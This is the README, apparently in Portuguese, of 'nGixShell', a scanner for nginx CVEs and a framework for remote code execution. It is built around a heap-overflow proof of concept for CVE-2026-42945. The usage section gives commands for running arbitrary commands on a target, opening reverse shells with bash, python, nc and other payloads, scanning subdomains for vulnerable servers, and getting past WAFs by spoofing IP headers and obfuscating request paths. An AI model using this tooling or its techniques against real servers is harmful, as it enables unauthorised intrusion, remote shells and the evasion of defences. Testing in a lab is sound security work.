
scanner de CVE nginx + framework de exploração RCE (CVE-2026-42945 + mais 16)
nGixShell é um scanner de CVEs do nginx e framework de exploração de RCE. Ele inclui uma prova de conceito para CVE-2026-42945 (CVSS 3.1 8.1 HIGH segundo F5/NVD) — um heap buffer overflow no ngx_http_rewrite_module — e um scanner que cobre 64 CVEs do nginx com sondagens HTTP automatizadas, fingerprinting, detecção/bypass de WAF, auditoria de segurança web e geração de relatórios.
Zero dependências externas. Apenas a biblioteca padrão do Python 3.
Pré-requisitos do exploit (leia primeiro).
--cmd/--shellsó funcionam quando todas estas condições são verdadeiras: o alvo é x86_64, a configuração vulnerável derewrite+setestá presente, o ASLR está desabilitado, e os endereços de heap/libc foram calibrados para exatamente aquela build (calibrate.py→--build-file). Veja Requisitos do Exploit. O scanner em si não possui tais requisitos.
# Spin up the vulnerable lab (builds nginx from source, ASLR disabled)
docker compose -f env/docker-compose.yml up -d --build
# Auto mode — fingerprint + CVE scan + web audit (works on any arch)
python3 ngixshell.py 127.0.0.1:19321
# RCE — calibrate, restart the worker for a clean heap, then exploit
W=$(pgrep -f 'nginx: worker' | head -1)
sudo python3 calibrate.py 127.0.0.1 19321 "$W" --spray-path /spray \
--spray-mode full --json -o profile.json
docker compose -f env/docker-compose.yml restart nginx-vuln
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id > /tmp/rce.txt' \
--build-file profile.json
docker compose -f env/docker-compose.yml exec nginx-vuln cat /tmp/rce.txt
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell --build-file profile.json
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file (one report per target)
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Nenhuma flag é necessária — apontar a ferramenta para um alvo executa tudo automaticamente.
O TLS é detectado automaticamente. O nginx é identificado por fingerprint mesmo com server_tokens off.
system()não captura stdout:--cmd 'id'executa mas não imprime nada de volta. Use um comando com efeito colateral observável e confirme-o com--verify-url http://target/pwned(HTTP 200 = confirmado).
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET formats:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| Flag | Descrição |
|---|---|
| (nenhuma) | Auto — fingerprint + varredura de CVE + auditoria web |
--cmd 'CMD' | Executa comando via RCE do CVE-2026-42945 |
--cmd-file FILE | Executa comandos a partir de arquivo (unidos com ;) |
--shell | Abre um reverse shell |
--shell-type TYPE | Payload: bash python perl php nc powershell (padrão: python) |
--upgrade-shell | Envia automaticamente upgrade de PTY após o shell conectar |
--verify-url URL | Após um crash detectado, busca a URL para confirmar que o comando executou (200 = verificado) |
--subdomain-scan DOMAIN | Encontra nginx vulnerável em subdomínios |
--cve CVE-ID | Testa um CVE específico |
--list-cves | Imprime todos os 64 CVEs com CVSS e informações de sondagem |
--list-candidates | Imprime candidatos de endereço de heap |
--dry-run | Apenas fingerprint + varredura, sem exploit |
--target-file FILE | Varre múltiplos hosts a partir de um arquivo |
| Flag | Descrição |
|---|---|
--build-file FILE | Recomendado. Perfil de calibração JSON de calibrate.py --json -o FILE |
--offsets SPEC | Offsets de heap em hexadecimal separados por vírgula de calibrate.py (ex.: 0x5a427,0x60e67) |
--heap-base HEX / --libc-base HEX / --system-addr HEX | Substituições manuais de endereço |
--build KEY | Perfil embutido (apenas a referência do lab DepthFirst é fornecida) |
--rewrite-path PATH | Localização vulnerável de rewrite (padrão /api) |
--spray-path PATH | Localização com proxy_pass usada para o spray no corpo do POST (padrão /upload; o lab incluído usa /spray) |
--spray-mode partial|full | partial: corpo curto + Content-Length grande (lab incluído); full: corpo completo + X-Delay (lab DepthFirst) |
--pad-a N / --pad-plus N | Preenchimento do caminho de trigger antes da sequência + (padrões 349 / 969, do PoC do fornecedor) |
--continue-on-crash | Continua tentando os candidatos de heap restantes após um crash não verificado |
--tries N / --spray N / --body-len N | Tentativas de trigger por candidato / conexões de spray / tamanho do corpo do spray |
| Flag | Descrição |
|---|---|
--waf-detect | Detecta WAF antes da varredura |
--waf-bypass | Habilita todas as técnicas de bypass (também executa a detecção) |
--waf-ip IP | Falsifica este IP nos cabeçalhos de bypass (padrão: RFC1918 aleatório) |
Técnicas de bypass (todas ativas quando --waf-bypass está definido):
| Técnica | Detalhe |
|---|---|
| Falsificação de IP | X-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP |
| Rotação de UA | 11 User-Agents reais de navegador/bot, randomizados por requisição |
| Ofuscação de caminho | barra dupla, preenchimento /./, percent-encoding, variação de maiúsculas/minúsculas |
| Embaralhamento de maiúsculas em cabeçalhos | randomiza o uso de maiúsculas/minúsculas nos nomes de cabeçalhos para quebrar a correspondência de padrões do WAF |
WAFs detectados: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
Executa automaticamente no modo de varredura. Todos os módulos podem ser ignorados individualmente.
| Flag | Descrição |
|---|---|
--skip-headers | Ignora auditoria de cabeçalhos de segurança HTTP |
--skip-paths | Ignora descoberta de caminhos/arquivos |
--skip-vhosts | Ignora enumeração de virtual hosts |
--skip-tls | Ignora auditoria de protocolo TLS |
--path-wordlist FILE | Caminhos extras para sondar (um por linha) |
/nginx_status se exposto| Flag | Descrição |
|---|---|
--port PORT | Substitui a porta |
--tls | Força TLS (detectado automaticamente por padrão) |
--proxy URL | Proxy: http://, https://, socks5:// |
| Flag | Descrição |
|---|---|
--user-agent UA | User-Agent personalizado |
--auth USER:PASS | Autenticação HTTP Basic |
--cookie VALUE | Cabeçalho Cookie |
--header NAME:VALUE | Cabeçalho extra (repetível) |